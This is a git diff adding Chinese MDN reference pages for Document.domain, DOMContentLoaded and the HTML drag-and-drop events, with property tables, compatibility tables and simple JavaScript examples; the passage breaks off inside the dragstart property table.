diff --git a/files/zh-cn/web/api/document/domain/index.html b/files/zh-cn/web/api/document/domain/index.html new file mode 100644 index 0000000000..b6951d94a0 --- /dev/null +++ b/files/zh-cn/web/api/document/domain/index.html @@ -0,0 +1,101 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - DOM + - Document + - 参考 + - 同源策略 + - 属性 + - 跨域 +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} 接口的 domain 属性获取/设置当前文档的原始域部分,常用于同源策略

+ +

如果成功设置此属性,则原始端口的端口部分也将设置为 null.

+ +

语法

+ +
var domainString = document.domain;
+document.domain = domainString;
+ +

+ +

当前文档来源的域部分.

+ +

异常

+ +
+
安全错误
+
已尝试在以下情况之一下设置域: +
    +
  • 文件在html中的iframe元素里
  • +
  • 该文件没有参考上下文
  • +
  • 该文档的有效域为null
  • +
  • 给定值不等于文档的有效域(或者它不是该域的可注册域后缀)
  • +
  • The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}}一启用
  • +
+
+
+ +

例子

+ +

获取域名

+ +

对于URI http://developer.mozilla.org/en-US/docs/Web,此示例将currentDomain设置为字符串“ developer.mozilla.org”。

+ +
var currentDomain = document.domain;
+ +

关闭窗口

+ +

如果文档(例如www.example.xxx/good.html)的域为“ www.example.xxx”,则本示例将尝试关闭窗口。

+ +
var badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // 这只是一个示例 - 有时 window.close() 是没有效果的
+  window.close();
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +
{{Compat("api.Document.domain")}}
+ +

Firefox 备注

+ +

如果当前文档的域无法识别,那么 domain 属性会返回 null。但这个表现在 Firefox 62 时发生了更改——详见 {{bug(819475)}} 中的讨论。

+ +

根域名范围内,Mozilla 允许你把 domain 属性的值设置为它的上一级域。例如,在 developer.mozilla.org 域内,可以把 domain 设置为 "mozilla.org" 但不能设置为 "mozilla.com" 或者"org"。

+ +

Mozilla 会区分 document.domain 属性 从没有被设定过值 被显示的设定为跟该文档的 URL 的 domain 一致的值,尽管这两种状况下,该属性会返回同样的值。两个文档,只有在 document.domain 都被设定为同一个值,表明他们打算协作;或者都没有设定 document.domain 属性并且URL的域是一致的 (如何判断一致),这两种条件下,一个文档才可以去访问另一个文档。如果没有这个特殊的策略,每一个站点都会成为他的子域的 XSS 攻击的对象(例如,https://bugzilla.mozilla.org 可以被来自 https://bug*.bugzilla.mozilla.org 站点的 bug 附件攻击)。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/domcontentloaded_event/index.html b/files/zh-cn/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..62b7c07d1a --- /dev/null +++ b/files/zh-cn/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,184 @@ +--- +title: 'Document: DOMContentLoaded 事件' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - 事件 +translation_of: Web/API/Document/DOMContentLoaded_event +--- +
{{APIRef}}
+ +

当纯HTML被完全加载以及解析时,DOMContentLoaded 事件会被触发,而不必等待样式表,图片或者子框架完成加载。

+ + + + + + + + + + + + + + + + + + + + +
冒泡阶段Yes
可撤销性Yes (尽管它被指定为一个简单事件时是不可撤销的)
接口{{domxref("Event")}}
事件句柄属性None
+ +

一个易混用但不同的事件是,load,这个事件仅仅应该在探测到整个页面完全加载完成时被使用。一个常见的错误就是在该使用DOMContentLoaded的地方使用了load

+ +

JavaScript的同步模式会导致DOM解析暂停。如果你想在用户请求页面时,首先尽可能先解析DOM,此时你可以使用JavaScript异步模式,并且优化样式表的加载。在通常模式的加载过程中,样式表的加载会与DOM解析并行,从而迟缓主要HTMl文档的加载。

+ +

例子

+ +

基本用法

+ +
document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM fully loaded and parsed'); // 译者注:"DOM完全加载以及解析"
+});
+
+ +

 延迟 DOMContentLoaded

+ +
<script>
+  document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM fully loaded and parsed');
+  });
+
+for( let i = 0; i < 1000000000; i++)
+{} // 这段同步脚本将会延迟DOM解析,
+   // 所以DOMContentLoaded事件将会延迟执行.
+</script>
+
+ +

检查加载是否已经完成

+ +

在你的脚本有机会运行前,DOMContentLoaded可能就已经被触发。所以你在决定添加一个事件监听器前最好先检查一下。

+ +
function doSomething() {
+  console.info('DOM loaded');
+}
+
+if (document.readyState === 'loading') {  // 此时加载尚未完成
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // 此时`DOMContentLoaded` 已经被触发
+  doSomething();
+}
+
+ +

实例

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果展示

+ +

{{ EmbedLiveSample('实例', '100%', '160px') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.DOMContentLoaded_event")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/drag_event/index.html b/files/zh-cn/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..906df8743d --- /dev/null +++ b/files/zh-cn/web/api/document/drag_event/index.html @@ -0,0 +1,340 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖动 +translation_of: Web/API/Document/drag_event +--- +
{{APIRef}}
+ +

当元素或者选择的文本被拖动时触发 drag 事件 (每几百毫秒).

+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可以取消
目标对象{{domxref("Document")}}, {{domxref("Element")}}
接口{{domxref("DragEvent")}}
默认行为Continue the drag & drop operation.
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTarget被拖动元素下方的元素
type {{readonlyInline}}DOMString事件类型
bubbles {{readonlyInline}}Boolean事件是否冒泡
cancelable {{readonlyInline}}Boolean该事件是否可以被取消
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例

+ +
<div class="dropzone">
+  <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+    This div is draggable
+  </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+
+<style>
+  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+</style>
+
+<script>
+  var dragged;
+
+  /* 拖动目标元素时触发drag事件 */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // 保存拖动元素的引用(ref.)
+      dragged = event.target;
+      // 使其半透明
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // 重置透明度
+      event.target.style.opacity = "";
+  }, false);
+
+  /* 放置目标元素时触发事件 */
+  document.addEventListener("dragover", function( event ) {
+      // 阻止默认动作以启用drop
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // 当可拖动的元素进入可放置的目标时高亮目标节点
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // 当拖动元素离开可放置目标节点,重置其背景
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // 阻止默认动作(如打开一些元素的链接)
+      event.preventDefault();
+      // 将拖动的元素到所选择的放置目标节点中
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);
+</script>
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/dragend_event/index.html b/files/zh-cn/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..a42129345d --- /dev/null +++ b/files/zh-cn/web/api/document/dragend_event/index.html @@ -0,0 +1,254 @@ +--- +title: dragend +slug: Web/API/Document/dragend_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 +translation_of: Web/API/Document/dragend_event +--- +
拖放事件在拖放操作结束时触发(通过释放鼠标按钮或单击escape键)。
+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Target objects{{domxref("Document")}}, {{domxref("Element")}}
Interface{{domxref("DragEvent")}}
Default ActionVaries.
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe element that was underneath the element being dragged.
type {{readonlyInline}}DOMString事件类型。
bubbles {{readonlyInline}}Boolean是否允许冒泡
cancelable {{readonlyInline}}Boolean默认行为是否可以取消
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTarget绑定事件监听的DOM结点
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}boolean +

当事件触发的时候,如果Ctrl键是按下的,这个值就是true,否则就是false

+
shiftKey {{readonlyInline}}boolean +

当事件触发的时候,如果Shift键是按下的,这个值就是true,否则就是false

+
altKey {{readonlyInline}}boolean当事件触发的时候,如果Alt键是按下的,这个值就是true,否则就是false
metaKey {{readonlyInline}}boolean当事件触发的时候,如果Meta键是按下的,这个值就是true,否则就是false
+ +

示例:dropzone

+ +

{{page('/zh-CN/docs/Web/Events/dragstart', '示例:dropzone')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dndevents", "dragend")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}[1]10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] In Gecko, dragend is not dispatched if the source node is moved or removed during the drag (e.g. on drop or dragover). See {{bug("460801")}}.

+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/dragenter_event/index.html b/files/zh-cn/web/api/document/dragenter_event/index.html new file mode 100644 index 0000000000..1cd2fce638 --- /dev/null +++ b/files/zh-cn/web/api/document/dragenter_event/index.html @@ -0,0 +1,249 @@ +--- +title: dragenter +slug: Web/API/Document/dragenter_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragenter_event +--- +
当拖动的元素或被选择的文本进入有效的放置目标时, dragenter 事件被触发。
+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
目标对象用户指定的元素或者body元素
接口{{domxref("DragEvent")}}
默认动作取消拖动
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}EventTarget被拖动的元素下面的元素。
type {{readonlyInline}}DOMString事件类型
bubbles {{readonlyInline}}Boolean事件是否正常冒泡
cancelable {{readonlyInline}}Boolean事件是否已被取消?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTarget触发事件的元素
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}long全局(屏幕)坐标中鼠标指针的X坐标。
screenY {{readonlyInline}}long全局(屏幕)坐标中鼠标指针的Y坐标。
clientX {{readonlyInline}}long本地(DOM内容)坐标中鼠标指针的X坐标。
clientY {{readonlyInline}}long本地(DOM内容)坐标中鼠标指针的Y坐标。
button {{readonlyInline}}unsigned short鼠标事件触发时按下的按钮号:左键= 0,中键= 1(如果存在),右键= 2。 对于配置为左手使用的鼠标,其中按钮操作反转,则值从右向左读取。
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}float触发事件时屏幕的压力值, 介于0.0到1.0之间
ctrlKey {{readonlyInline}}boolean事件触发时ctrl键是否被按下
shiftKey {{readonlyInline}}boolean事件触发时shift键是否被按下
altKey {{readonlyInline}}boolean事件触发时alt键是否被按下
metaKey {{readonlyInline}}boolean事件触发时meta键是否被按下
+ +

示例:dropzone

+ +

{{page('/zh-CN/docs/Web/Events/dragstart', '示例:dropzone')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dndevents", "dragenter")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/dragleave_event/index.html b/files/zh-cn/web/api/document/dragleave_event/index.html new file mode 100644 index 0000000000..36f2995a13 --- /dev/null +++ b/files/zh-cn/web/api/document/dragleave_event/index.html @@ -0,0 +1,251 @@ +--- +title: dragleave +slug: Web/API/Document/dragleave_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragleave_event +--- +
{{APIRef}}
+ +

当一个被拖动的元素或者被选择的文本离开一个有效的拖放目标时,将会触发dragleave 事件。

+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Target objects{{domxref("Document")}}, {{domxref("Element")}}
Interface{{domxref("DragEvent")}}
Default ActionNone.
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe element that was underneath the element being dragged.
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例:dropzone

+ +

{{page('/zh-CN/docs/Web/Events/dragstart', '示例:dropzone')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dndevents", "dragleave")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/dragover_event/index.html b/files/zh-cn/web/api/document/dragover_event/index.html new file mode 100644 index 0000000000..ff219820c0 --- /dev/null +++ b/files/zh-cn/web/api/document/dragover_event/index.html @@ -0,0 +1,253 @@ +--- +title: dragover +slug: Web/API/Document/dragover_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragover_event +--- +
{{APIRef}}
+ +

当元素或者选择的文本被拖拽到一个有效的放置目标上时,触发 dragover 事件(每几百毫秒触发一次)。

+ +

这个事件在可被放置元素的节点上触发。

+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可以取消
目标对象{{domxref("Document")}}, {{domxref("Element")}}
接口{{domxref("DragEvent")}}
默认行为重置当前的拖拽动作为"none"
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe element that was underneath the element being dragged.
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例:dropzone

+ +

{{page('/zh-CN/docs/Web/Events/dragstart', '示例:dropzone')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dndevents", "dragover")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/dragstart_event/index.html b/files/zh-cn/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..15ec167d42 --- /dev/null +++ b/files/zh-cn/web/api/document/dragstart_event/index.html @@ -0,0 +1,308 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - dragstart + - 事件 + - 拖动 +translation_of: Web/API/Document/dragstart_event +--- +
当用户开始拖动一个元素或者一个选择文本的时候 dragstart 事件就会触发。
+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Document")}}, {{domxref("Element")}}
Interface{{domxref("DragEvent")}}
Default ActionInitiate the drag-and-drop operation.
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe element that was underneath the element being dragged.
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
